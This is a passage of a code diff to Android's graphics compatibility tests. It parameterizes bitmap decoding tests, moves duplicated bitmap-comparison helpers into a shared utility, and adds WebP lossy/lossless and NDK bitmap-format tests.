assertEquals(START_WIDTH, b.getWidth());
}
+
+ // TODO: Better parameterize this and split it up.
@Test
- public void testDecodeFileDescriptor3() throws IOException {
+ @Parameters(method = "testImages")
+ public void testDecodeFileDescriptor3(TestImage testImage) throws IOException {
// Arbitrary offsets to use. If the offset of the FD matches the offset of the image,
// decoding should succeed, but if they do not match, decoding should fail.
- long ACTUAL_OFFSETS[] = new long[] { 0, 17 };
- for (int RES_ID : RES_IDS) {
- for (int j = 0; j < ACTUAL_OFFSETS.length; ++j) {
- // FIXME: The purgeable test should attempt to purge the memory
- // to force a re-decode.
- for (boolean TEST_PURGEABLE : new boolean[] { false, true }) {
- BitmapFactory.Options opts = new BitmapFactory.Options();
- opts.inPurgeable = TEST_PURGEABLE;
- opts.inInputShareable = TEST_PURGEABLE;
+ final long[] actual_offsets = new long[] { 0, 17 };
+ for (int j = 0; j < actual_offsets.length; ++j) {
+ // FIXME: The purgeable test should attempt to purge the memory
+ // to force a re-decode.
+ for (boolean purgeable : new boolean[] { false, true }) {
+ BitmapFactory.Options opts = new BitmapFactory.Options();
+ opts.inPurgeable = purgeable;
+ opts.inInputShareable = purgeable;
- long actualOffset = ACTUAL_OFFSETS[j];
- String path = obtainPath(RES_ID, actualOffset);
- RandomAccessFile file = new RandomAccessFile(path, "r");
- FileDescriptor fd = file.getFD();
- assertTrue(fd.valid());
+ long actualOffset = actual_offsets[j];
+ String path = obtainPath(testImage.id, actualOffset);
+ RandomAccessFile file = new RandomAccessFile(path, "r");
+ FileDescriptor fd = file.getFD();
+ assertTrue(fd.valid());
- // Set the offset to ACTUAL_OFFSET
- file.seek(actualOffset);
- assertEquals(file.getFilePointer(), actualOffset);
+ // Set the offset to ACTUAL_OFFSET
+ file.seek(actualOffset);
+ assertEquals(file.getFilePointer(), actualOffset);
- // Now decode. This should be successful and leave the offset
- // unchanged.
- Bitmap b = BitmapFactory.decodeFileDescriptor(fd, null, opts);
- assertNotNull(b);
- assertEquals(file.getFilePointer(), actualOffset);
+ // Now decode. This should be successful and leave the offset
+ // unchanged.
+ Bitmap b = BitmapFactory.decodeFileDescriptor(fd, null, opts);
+ assertNotNull(b);
+ assertEquals(file.getFilePointer(), actualOffset);
- // Now use the other offset. It should fail to decode, and
- // the offset should remain unchanged.
- long otherOffset = ACTUAL_OFFSETS[(j + 1) % ACTUAL_OFFSETS.length];
- assertFalse(otherOffset == actualOffset);
- file.seek(otherOffset);
- assertEquals(file.getFilePointer(), otherOffset);
+ // Now use the other offset. It should fail to decode, and
+ // the offset should remain unchanged.
+ long otherOffset = actual_offsets[(j + 1) % actual_offsets.length];
+ assertFalse(otherOffset == actualOffset);
+ file.seek(otherOffset);
+ assertEquals(file.getFilePointer(), otherOffset);
- b = BitmapFactory.decodeFileDescriptor(fd, null, opts);
- assertNull(b);
- assertEquals(file.getFilePointer(), otherOffset);
- }
+ b = BitmapFactory.decodeFileDescriptor(fd, null, opts);
+ assertNull(b);
+ assertEquals(file.getFilePointer(), otherOffset);
}
}
}
@@ -493,18 +516,17 @@
}
@Test
- public void testDecodeReuseFormats() {
+ @Parameters(method = "testImages")
+ public void testDecodeReuseFormats(TestImage testImage) {
// reuse should support all image formats
- for (int i = 0; i < RES_IDS.length; ++i) {
- Bitmap reuseBuffer = Bitmap.createBitmap(1000000, 1, Bitmap.Config.ALPHA_8);
+ Bitmap reuseBuffer = Bitmap.createBitmap(1000000, 1, Bitmap.Config.ALPHA_8);
- BitmapFactory.Options options = new BitmapFactory.Options();
- options.inBitmap = reuseBuffer;
- options.inSampleSize = 4;
- options.inScaled = false;
- Bitmap decoded = BitmapFactory.decodeResource(mRes, RES_IDS[i], options);
- assertSame(reuseBuffer, decoded);
- }
+ BitmapFactory.Options options = new BitmapFactory.Options();
+ options.inBitmap = reuseBuffer;
+ options.inSampleSize = 4;
+ options.inScaled = false;
+ Bitmap decoded = BitmapFactory.decodeResource(mRes, testImage.id, options);
+ assertSame(reuseBuffer, decoded);
}
@Test
@@ -677,7 +699,7 @@
p.setDataPosition(0);
Bitmap b2 = Bitmap.CREATOR.createFromParcel(p);
- compareBitmaps(b, b2, 0, true, true);
+ assertTrue(BitmapUtils.compareBitmaps(b, b2));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
assertTrue(b2.compress(Bitmap.CompressFormat.JPEG, 50, baos));
@@ -792,27 +814,30 @@
@Test
@CddTest(requirement = "5.1.5/C-0-6")
- public void testDng() {
- DNG[] dngs = new DNG[]{
- new DNG(R.raw.sample_1mp, 600, 338),
- new DNG(R.raw.sample_arw, 1616, 1080),
- new DNG(R.raw.sample_cr2, 2304, 1536),
- new DNG(R.raw.sample_nef, 4608, 3072),
- new DNG(R.raw.sample_nrw, 4000, 3000),
- new DNG(R.raw.sample_orf, 3200, 2400),
- new DNG(R.raw.sample_pef, 4928, 3264),
- new DNG(R.raw.sample_raf, 2048, 1536),
- new DNG(R.raw.sample_rw2, 1920, 1440),
- new DNG(R.raw.sample_srw, 5472, 3648),
- };
+ @Parameters(method = "parametersForTestDng")
+ @LargeTest
+ public void testDng(DNG dng) {
+ byte[] bytes = ImageDecoderTest.getAsByteArray(dng.resId);
+ // No scaling
+ Bitmap bm = BitmapFactory.decodeByteArray(bytes, 0, bytes.length, mOpt1);
+ assertNotNull(bm);
+ assertEquals(dng.width, bm.getWidth());
+ assertEquals(dng.height, bm.getHeight());
+ }
- for (DNG dng : dngs) {
- // No scaling
- Bitmap bm = BitmapFactory.decodeResource(mRes, dng.resId, mOpt1);
- assertNotNull(bm);
- assertEquals(dng.width, bm.getWidth());
- assertEquals(dng.height, bm.getHeight());
- }
+ private Object[] parametersForTestDng() {
+ return new Object[]{
+ new DNG(R.raw.sample_1mp, 600, 338),
+ new DNG(R.raw.sample_arw, 1616, 1080),
+ new DNG(R.raw.sample_cr2, 2304, 1536),
+ new DNG(R.raw.sample_nef, 4608, 3072),
+ new DNG(R.raw.sample_nrw, 4000, 3000),
+ new DNG(R.raw.sample_orf, 3200, 2400),
+ new DNG(R.raw.sample_pef, 4928, 3264),
+ new DNG(R.raw.sample_raf, 2048, 1536),
+ new DNG(R.raw.sample_rw2, 1920, 1440),
+ new DNG(R.raw.sample_srw, 5472, 3648),
+ };
}
@Test
@@ -914,7 +939,7 @@
assertEquals(height, argb4444.getHeight());
// ARGB_4444 is deprecated and we should decode to ARGB_8888.
assertEquals(Config.ARGB_8888, argb4444.getConfig());
- compareBitmaps(reference, argb4444, 0, true, true);
+ assertTrue(BitmapUtils.compareBitmaps(reference, argb4444));
opts.inPreferredConfig = Config.RGB_565;
Bitmap rgb565 = BitmapFactory.decodeResource(mRes, id, opts);
@@ -927,7 +952,8 @@
// the reference. We lose information when decoding to 565, so there must
// be some tolerance. The tolerance is intentionally loose to allow us some
// flexibility regarding if we dither and how we color convert.
- compareBitmaps(reference, rgb565.copy(Config.ARGB_8888, false), 30, true, true);
+ BitmapUtils.assertBitmapsMse(reference, rgb565.copy(Config.ARGB_8888, false), 30, true,
+ true);
}
opts.inPreferredConfig = Config.ALPHA_8;
@@ -940,7 +966,7 @@
// Convert the ALPHA_8 bitmap to ARGB_8888 and test that it is identical to
// the reference. We must do this manually because we are abusing ALPHA_8
// in order to represent grayscale.
- compareBitmaps(reference, grayToARGB(alpha8), 0, true, true);
+ assertTrue(BitmapUtils.compareBitmaps(reference, grayToARGB(alpha8)));
assertNull(alpha8.getColorSpace());
}
@@ -952,7 +978,7 @@
assertEquals(width, defaultBitmap.getWidth());
assertEquals(height, defaultBitmap.getHeight());
assertEquals(Config.ARGB_8888, defaultBitmap.getConfig());
- compareBitmaps(reference, defaultBitmap, 0, true, true);
+ assertTrue(BitmapUtils.compareBitmaps(reference, defaultBitmap));
}
private static Bitmap grayToARGB(Bitmap gray) {
@@ -1023,67 +1049,4 @@
fOutput.close();
return (file.getPath());
}
-
- // Compare expected to actual to see if their diff is less then mseMargin.
- // lessThanMargin is to indicate whether we expect the mean square error
- // to be "less than" or "no less than".
- private static void compareBitmaps(Bitmap expected, Bitmap actual,
- int mseMargin, boolean lessThanMargin, boolean isPremultiplied) {
- final int width = expected.getWidth();
- final int height = expected.getHeight();
-
- assertEquals("mismatching widths", width, actual.getWidth());
- assertEquals("mismatching heights", height, actual.getHeight());
- assertEquals("mismatching configs", expected.getConfig(),
- actual.getConfig());
-
- double mse = 0;
- int[] expectedColors = new int [width * height];
- int[] actualColors = new int [width * height];
-
- // Bitmap.getPixels() returns colors with non-premultiplied ARGB values.
- expected.getPixels(expectedColors, 0, width, 0, 0, width, height);
- actual.getPixels(actualColors, 0, width, 0, 0, width, height);
-
- for (int row = 0; row < height; ++row) {
- for (int col = 0; col < width; ++col) {
- int idx = row * width + col;
- mse += distance(expectedColors[idx], actualColors[idx], isPremultiplied);
- }
- }
- mse /= width * height;
-
- if (lessThanMargin) {
- assertTrue("MSE " + mse + "larger than the threshold: " + mseMargin,
- mse <= mseMargin);
- } else {
- assertFalse("MSE " + mse + "smaller than the threshold: " + mseMargin,
- mse <= mseMargin);
- }
- }
-
- private static int multiplyAlpha(int color, int alpha) {
- return (color * alpha + 127) / 255;
- }
-
- // For the Bitmap with Alpha, multiply the Alpha values to get the effective
- // RGB colors and then compute the color-distance.
- private static double distance(int expect, int actual, boolean isPremultiplied) {
- if (isPremultiplied) {
- final int a1 = Color.alpha(actual);
- final int a2 = Color.alpha(expect);
- final int r = multiplyAlpha(Color.red(actual), a1) -
- multiplyAlpha(Color.red(expect), a2);
- final int g = multiplyAlpha(Color.green(actual), a1) -
- multiplyAlpha(Color.green(expect), a2);
- final int b = multiplyAlpha(Color.blue(actual), a1) -
- multiplyAlpha(Color.blue(expect), a2);
- return r * r + g * g + b * b;
- } else {
- final int r = Color.red(actual) - Color.red(expect);
- final int g = Color.green(actual) - Color.green(expect);
- final int b = Color.blue(actual) - Color.blue(expect);
- return r * r + g * g + b * b;
- }
- }
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index cb56256..371a637 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -17,7 +17,6 @@
package android.graphics.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
@@ -31,7 +30,6 @@
import android.graphics.BitmapFactory.Options;
import android.graphics.BitmapRegionDecoder;
import android.graphics.Canvas;
-import android.graphics.Color;
import android.graphics.ColorSpace;
import android.graphics.Rect;
import android.os.ParcelFileDescriptor;
@@ -41,6 +39,8 @@
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.BitmapUtils;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -125,9 +125,6 @@
// MSE margin for WebP Region-Decoding for 'Config.RGB_565' is little bigger.
private static final int MSE_MARGIN_WEB_P_CONFIG_RGB_565 = 8;
- private final int[] mExpectedColors = new int [TILE_SIZE * TILE_SIZE];
- private final int[] mActualColors = new int [TILE_SIZE * TILE_SIZE];
-
private ArrayList<File> mFilesCreated = new ArrayList<>(NAMES_TEMP_FILES.length);
private Resources mRes;
@@ -426,7 +423,8 @@
Rect crop = new Rect(0 ,0, cropWidth, cropHeight);
Bitmap reuseCropped = cropBitmap(reuseResult, crop);
Bitmap defaultCropped = cropBitmap(defaultResult, crop);
- compareBitmaps(reuseCropped, defaultCropped, 0, true);
+ BitmapUtils.assertBitmapsMse(reuseCropped, defaultCropped, 0, true,
+ false);
}
}
}
@@ -684,7 +682,7 @@
Rect expectedRect = new Rect(left, top, left + actual.getWidth(),
top + actual.getHeight());
expected = cropBitmap(wholeImage, expectedRect);
- compareBitmaps(expected, actual, mseMargin, true);
+ BitmapUtils.assertBitmapsMse(expected, actual, mseMargin, true, false);
actual.recycle();
expected.recycle();
}
@@ -744,55 +742,4 @@
File file = new File(path);
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
-
-
- // Compare expected to actual to see if their diff is less then mseMargin.
- // lessThanMargin is to indicate whether we expect the diff to be
- // "less than" or "no less than".
- private void compareBitmaps(Bitmap expected, Bitmap actual,
- int mseMargin, boolean lessThanMargin) {
- assertEquals("mismatching widths", expected.getWidth(),
- actual.getWidth());
- assertEquals("mismatching heights", expected.getHeight(),
- actual.getHeight());
-
- double mse = 0;
- int width = expected.getWidth();
- int height = expected.getHeight();
- int[] expectedColors;
- int[] actualColors;
- if (width == TILE_SIZE && height == TILE_SIZE) {
- expectedColors = mExpectedColors;
- actualColors = mActualColors;
- } else {
- expectedColors = new int [width * height];
- actualColors = new int [width * height];
- }
-
- expected.getPixels(expectedColors, 0, width, 0, 0, width, height);
- actual.getPixels(actualColors, 0, width, 0, 0, width, height);
-
- for (int row = 0; row < height; ++row) {
- for (int col = 0; col < width; ++col) {
- int idx = row * width + col;
- mse += distance(expectedColors[idx], actualColors[idx]);
- }
- }
- mse /= width * height;
-
- if (lessThanMargin) {
- assertTrue("MSE too large for normal case: " + mse,
- mse <= mseMargin);
- } else {
- assertFalse("MSE too small for abnormal case: " + mse,
- mse <= mseMargin);
- }
- }
-
- private static double distance(int exp, int actual) {
- int r = Color.red(actual) - Color.red(exp);
- int g = Color.green(actual) - Color.green(exp);
- int b = Color.blue(actual) - Color.blue(exp);
- return r * r + g * g + b * b;
- }
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index a2025bd..9faad90 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -33,6 +33,7 @@
import android.graphics.Color;
import android.graphics.ColorSpace;
import android.graphics.ColorSpace.Named;
+import android.graphics.ImageDecoder;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.Picture;
@@ -46,8 +47,8 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.LargeTest;
import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.BitmapUtils;
import com.android.compatibility.common.util.ColorUtils;
import com.android.compatibility.common.util.WidgetTestUtils;
@@ -57,17 +58,22 @@
import java.io.ByteArrayOutputStream;
import java.io.File;
+import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.CharBuffer;
import java.nio.IntBuffer;
import java.nio.ShortBuffer;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
@SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
public class BitmapTest {
// small alpha values cause color values to be pre-multiplied down, losing accuracy
private static final int PREMUL_COLOR = Color.argb(2, 255, 254, 253);
@@ -129,9 +135,84 @@
mBitmap.compress(CompressFormat.JPEG, 101, new ByteArrayOutputStream());
}
+ private static Object[] compressFormats() {
+ return CompressFormat.values();
+ }
+
@Test
- public void testCompress() {
- assertTrue(mBitmap.compress(CompressFormat.JPEG, 50, new ByteArrayOutputStream()));
+ @Parameters(method = "compressFormats")
+ public void testCompress(CompressFormat format) {
+ assertTrue(mBitmap.compress(format, 50, new ByteArrayOutputStream()));
+ }
+
+ private Bitmap decodeBytes(byte[] bytes) {
+ ByteBuffer buffer = ByteBuffer.wrap(bytes);
+ ImageDecoder.Source src = ImageDecoder.createSource(buffer);
+ try {
+ return ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+ decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+ });
+ } catch (IOException e) {
+ fail("Failed to decode with " + e);
+ return null;
+ }
+ }
+
+ // There are three color components and
+ // each should be within a square difference of 15 * 15.
+ private static final int MSE_MARGIN = 3 * (15 * 15);
+
+ @Test
+ public void testCompressWebpLossy() {
+ // For qualities < 100, WEBP performs a lossy decode.
+ byte[] last = null;
+ Bitmap lastBitmap = null;
+ for (int quality : new int[] { 25, 50, 80, 99 }) {
+ ByteArrayOutputStream webp = new ByteArrayOutputStream();
+ assertTrue(mBitmap.compress(CompressFormat.WEBP, quality, webp));
+ byte[] webpCompressed = webp.toByteArray();
+
+
+ ByteArrayOutputStream webpLossy = new ByteArrayOutputStream();
+ assertTrue(mBitmap.compress(CompressFormat.WEBP_LOSSY, quality, webpLossy));
+ byte[] webpLossyCompressed = webpLossy.toByteArray();
+
+ assertTrue("Compression did not match at quality " + quality,
+ Arrays.equals(webpCompressed, webpLossyCompressed));
+
+ Bitmap result = decodeBytes(webpCompressed);
+ if (last != null) {
+ // Higher quality will generally result in a larger file.
+ assertTrue(webpCompressed.length > last.length);
+ if (!BitmapUtils.compareBitmapsMse(lastBitmap, result, MSE_MARGIN, true, false)) {
+ fail("Bad comparison for quality " + quality);
+ }
+ }
+ last = webpCompressed;
+ lastBitmap = result;
+ }
+ }
+
+ @Test
+ @Parameters({ "0", "50", "80", "99", "100" })
+ public void testCompressWebpLossless(int quality) {
+ ByteArrayOutputStream webp = new ByteArrayOutputStream();
+ assertTrue(mBitmap.compress(CompressFormat.WEBP_LOSSLESS, quality, webp));
+ byte[] webpCompressed = webp.toByteArray();
+ Bitmap result = decodeBytes(webpCompressed);
+
+ assertTrue("WEBP_LOSSLESS did not losslessly compress at quality " + quality,
+ BitmapUtils.compareBitmaps(mBitmap, result));
+ }
+
+ @Test
+ public void testCompressWebp100MeansLossless() {
+ ByteArrayOutputStream webp = new ByteArrayOutputStream();
+ assertTrue(mBitmap.compress(CompressFormat.WEBP, 100, webp));
+ byte[] webpCompressed = webp.toByteArray();
+ Bitmap result = decodeBytes(webpCompressed);
+ assertTrue("WEBP_LOSSLESS did not losslessly compress at quality 100",
+ BitmapUtils.compareBitmaps(mBitmap, result));
}
@Test(expected=IllegalStateException.class)
@@ -1959,7 +2040,7 @@
nValidateBitmapInfo(bitmap, 10, 20, true);
bitmap.recycle();
nValidateBitmapInfo(bitmap, 10, 20, true);
- nValidateNdkAccessAfterRecycle(bitmap);
+ nValidateNdkAccessFails(bitmap);
}
@Test
@@ -2022,15 +2103,15 @@
Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
int fdCount = -1;
+ // Do a warmup to reach steady-state memory usage
+ for (int i = 0; i < 50; i++) {
+ test.run();
+ }
+ runGcAndFinalizersSync();
+ Debug.getMemoryInfo(meminfoStart);
+ fdCount = getFdCount();
+ // Now run the test
for (int i = 0; i < 2000; i++) {
- if (i == 4) {
- // Not really the "start" but by having done a couple
- // we've fully initialized any state that may be required,
- // so memory usage should be stable now
- runGcAndFinalizersSync();
- Debug.getMemoryInfo(meminfoStart);
- fdCount = getFdCount();
- }
if (i % 100 == 5) {
assertNotLeaking(i, meminfoStart, meminfoEnd);
final int curFdCount = getFdCount();
@@ -2105,6 +2186,7 @@
surface.unlockCanvasAndPost(canvas);
bitmap.recycle();
});
+ renderTarget.destroy();
}
@Test
@@ -2161,6 +2243,83 @@
}
}
+ @Test
+ public void testNdkFormats() {
+ for (ConfigToFormat pair : CONFIG_TO_FORMAT) {
+ Bitmap bm = Bitmap.createBitmap(10, 10, pair.config);
+ assertNotNull(bm);
+ int nativeFormat = nGetFormat(bm);
+ assertEquals("Config: " + pair.config, pair.format, nativeFormat);
+ }
+ }
+
+ @Test
+ public void testNdkFormatsHardware() {
+ for (ConfigToFormat pair : CONFIG_TO_FORMAT) {
+ Bitmap bm = Bitmap.createBitmap(10, 10, pair.config);
+ bm = bm.copy(Bitmap.Config.HARDWARE, false);
+
+ // ALPHA_8 is not supported in HARDWARE.
+ if (bm == null) {
+ assertEquals(Bitmap.Config.ALPHA_8, pair.config);
+ continue;
+ }
+ assertNotEquals(Bitmap.Config.ALPHA_8, pair.config);
+
+ int nativeFormat = nGetFormat(bm);
+ if (pair.config == Bitmap.Config.RGBA_F16) {
+ // It is possible the system does not support RGBA_F16 in HARDWARE.
+ // In that case, it will fall back to ARGB_8888.
+ assertTrue(nativeFormat == ANDROID_BITMAP_FORMAT_RGBA_8888
+ || nativeFormat == ANDROID_BITMAP_FORMAT_RGBA_F16);
+ } else {
+ assertEquals("Config: " + pair.config, pair.format, nativeFormat);
+ }
+
+ nValidateNdkAccessFails(bm);
+ }
+ }
+
+ @Test
+ public void testNullBitmapNdk() {
+ nTestNullBitmap();
+ }
+
+ private Object[] parametersForTestNdkInfo() {
+ return new Object[] {
+ new Object[] { Config.ALPHA_8, 8 /* ANDROID_BITMAP_FORMAT_A_8 */ },
+ new Object[] { Config.ARGB_8888, 1 /* ANDROID_BITMAP_FORMAT_RGBA_8888 */ },
+ new Object[] { Config.RGB_565, 4 /* ANDROID_BITMAP_FORMAT_RGB_565 */ },
+ new Object[] { Config.RGBA_F16, 9 /* ANDROID_BITMAP_FORMAT_RGBA_F16*/ },
+ };
+ }
+
+ @Test
+ @Parameters(method = "parametersForTestNdkInfo")
+ public void testNdkInfo(Config config, int androidBitmapFormat) {
+ // Arbitrary width and height.
+ final int width = 13;
+ final int height = 7;
+ boolean[] trueFalse = new boolean[] { true, false };
+ for (boolean hasAlpha : trueFalse) {
+ for (boolean premultiplied : trueFalse) {
+ Bitmap bm = Bitmap.createBitmap(width, height, config, hasAlpha);
+ bm.setPremultiplied(premultiplied);
+ nTestInfo(bm, androidBitmapFormat, width, height, bm.hasAlpha(),
+ bm.isPremultiplied());
+ bm = bm.copy(Bitmap.Config.HARDWARE, false);
+ if (config == Bitmap.Config.ALPHA_8) {
+ // ALPHA_8 is not supported in HARDWARE. b/141480329
+ assertNull(bm);
+ } else {
+ assertNotNull(bm);
+ nTestInfo(bm, androidBitmapFormat, width, height, bm.hasAlpha(),
+ bm.isPremultiplied());
+ }
+ }
+ }
+ }
+
private void strictModeTest(Runnable runnable) {
StrictMode.ThreadPolicy originalPolicy = StrictMode.getThreadPolicy();
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
@@ -2177,13 +2336,39 @@
private static native void nValidateBitmapInfo(Bitmap bitmap, int width, int height,
boolean is565);
- private static native void nValidateNdkAccessAfterRecycle(Bitmap bitmap);
+ private static native void nValidateNdkAccessFails(Bitmap bitmap);
private static native void nFillRgbaHwBuffer(HardwareBuffer hwBuffer);
+ private static native void nTestNullBitmap();
- private static final int ANDROID_BITMAP_FORMAT_RGBA_8888 = 1;
+ static final int ANDROID_BITMAP_FORMAT_RGBA_8888 = 1;
private static final int ANDROID_BITMAP_FORMAT_RGB_565 = 4;
- private static native int nGetFormat(Bitmap bitmap);
+ private static final int ANDROID_BITMAP_FORMAT_A_8 = 8;
+ private static final int ANDROID_BITMAP_FORMAT_RGBA_F16 = 9;
+
+ private static class ConfigToFormat {
+ public final Config config;
+ public final int format;
+
+ ConfigToFormat(Config c, int f) {
+ this.config = c;
+ this.format = f;
+ }
+ }
+
+ private static final ConfigToFormat[] CONFIG_TO_FORMAT = new ConfigToFormat[] {
+ new ConfigToFormat(Bitmap.Config.ARGB_8888, ANDROID_BITMAP_FORMAT_RGBA_8888),
+ // ARGB_4444 is deprecated, and createBitmap converts to 8888.
+ new ConfigToFormat(Bitmap.Config.ARGB_4444, ANDROID_BITMAP_FORMAT_RGBA_8888),
+ new ConfigToFormat(Bitmap.Config.RGB_565, ANDROID_BITMAP_FORMAT_RGB_565),
+ new ConfigToFormat(Bitmap.Config.ALPHA_8, ANDROID_BITMAP_FORMAT_A_8),
+ new ConfigToFormat(Bitmap.Config.RGBA_F16, ANDROID_BITMAP_FORMAT_RGBA_F16),
+ };
+
+ static native int nGetFormat(Bitmap bitmap);
+
+ private static native void nTestInfo(Bitmap bm, int androidBitmapFormat, int width, int height,
+ boolean hasAlpha, boolean premultiplied);
private static HardwareBuffer createTestBuffer(int width, int height, boolean cpuAccess) {
long usage = HardwareBuffer.USAGE_GPU_SAMPLED_IMAGE;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
index d42e9ca..b3e6be5 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
@@ -38,21 +38,24 @@
assertEquals(CompressFormat.JPEG, CompressFormat.valueOf("JPEG"));
assertEquals(CompressFormat.PNG, CompressFormat.valueOf("PNG"));
assertEquals(CompressFormat.WEBP, CompressFormat.valueOf("WEBP"));
+ assertEquals(CompressFormat.WEBP_LOSSY, CompressFormat.valueOf("WEBP_LOSSY"));
+ assertEquals(CompressFormat.WEBP_LOSSLESS, CompressFormat.valueOf("WEBP_LOSSLESS"));
}
@Test
public void testValues(){
CompressFormat[] comFormat = CompressFormat.values();
- assertEquals(3, comFormat.length);
+ assertEquals(5, comFormat.length);
assertEquals(CompressFormat.JPEG, comFormat[0]);
assertEquals(CompressFormat.PNG, comFormat[1]);
assertEquals(CompressFormat.WEBP, comFormat[2]);
+ assertEquals(CompressFormat.WEBP_LOSSY, comFormat[3]);
+ assertEquals(CompressFormat.WEBP_LOSSLESS, comFormat[4]);
- //CompressFormat is used as a argument here for all the methods that use it
Bitmap b = Bitmap.createBitmap(10, 24, Config.ARGB_8888);
- assertTrue(b.compress(CompressFormat.JPEG, 24, new ByteArrayOutputStream()));
- assertTrue(b.compress(CompressFormat.PNG, 24, new ByteArrayOutputStream()));
- assertTrue(b.compress(CompressFormat.WEBP, 24, new ByteArrayOutputStream()));
+ for (CompressFormat format : comFormat) {
+ assertTrue(b.compress(format, 24, new ByteArrayOutputStream()));
+ }
}
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
index ff8f77c..92f6322 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
@@ -91,8 +91,8 @@
float[] f = new float[9];
m2.getValues(f);
assertArrayEquals(new float[] {
- 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, -0.0017361111f, 1.0f
- }, f, 0.0f);
+ 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f
+ }, f, 0.0017361111f);
}
@Test
@@ -107,8 +107,8 @@
float[] f = new float[9];
m2.getValues(f);
assertArrayEquals(new float[] {
- 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0017361111f, 0.0f, 1.0f
- }, f, 0.0f);
+ 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f
+ }, f, 0.0017361111f);
}
@Test
@@ -124,7 +124,7 @@
m2.getValues(f);
assertArrayEquals(new float[] {
0.0f, 1.0f, 0.0f, -1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f
- }, f, 0.0f);
+ }, f, 0.0017361111f);
}
@Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/EmptyProvider.java b/tests/tests/graphics/src/android/graphics/cts/EmptyProvider.java
new file mode 100644
index 0000000..b8213b6
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/EmptyProvider.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.res.AssetFileDescriptor;
+import android.database.Cursor;
+import android.net.Uri;
+
+import java.io.FileNotFoundException;
+
+/**
+ * Dummy provider class for testing failure to open an asset.
+ */
+public final class EmptyProvider extends ContentProvider {
+ public EmptyProvider() {
+ super();
+ }
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public AssetFileDescriptor openAssetFile(Uri uri, String mode) throws FileNotFoundException {
+ return null;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index a6b04c6..fe13ea4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -51,16 +51,15 @@
import androidx.core.content.FileProvider;
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.LargeTest;
-import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.BitmapUtils;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.io.ByteArrayOutputStream;
